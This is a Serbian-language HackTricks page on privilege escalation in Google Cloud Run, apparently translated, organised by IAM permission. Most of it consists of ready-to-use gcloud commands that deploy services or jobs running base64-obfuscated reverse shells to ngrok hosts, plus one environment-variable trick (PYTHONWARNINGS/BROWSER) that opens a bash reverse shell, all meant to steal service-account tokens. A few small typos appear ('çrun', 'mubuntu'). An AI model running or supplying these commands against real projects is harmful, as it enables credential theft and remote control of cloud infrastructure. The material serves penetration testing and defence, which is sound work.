GCP - Run Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Cloud Run

Za više informacija o Cloud Run proverite:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Napadač sa ovim dozvolama može kreirati run servis koji pokreće proizvoljan kod (proizvoljan Docker kontejner), pridružiti mu Service Account, i naterati kod da izfiltrira token Service Account-a iz metapodataka.

Skripta za eksploataciju ovog metoda može se pronaći ovde a Docker slika ovde.

Imajte na umu da prilikom korišćenja gcloud run deploy umesto samo kreiranja servisa potrebna je dozvola update. Pogledajte primer ovde.

run.services.update , iam.serviceAccounts.actAs

Slično prethodnom ali ažuriranje servisa:

gcloud run deploy hacked \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account="<proj-num>-compute@developer.gserviceaccount.com" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Dodelite sebi prethodne dozvole nad cloud Run-om.

run.jobs.create, run.jobs.run, (run.jobs.get)

Pokrenite posao sa reverzibilnom ljuskom da biste ukrali nalog za usluge naveden u komandi. Možete pronaći eksploataciju ovde.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Slično kao i prethodno, moguće je ažurirati posao i ažurirati SA, komandovati i izvršiti ga:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>-compute@developer.gserviceaccount.com \
--region=us-central1 \
--execute-now

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Zloupotrebite env promenljive izvršenja posla da biste izvršili proizvoljni kod i dobili obrnutu ljusku da biste ispumpali sadržaj kontejnera (izvorni kod) i pristupili SA unutar metapodataka:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

çrun.jobs.setIamPolicy

Dodelite sebi prethodna ovlašćenja nad Cloud Jobs.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated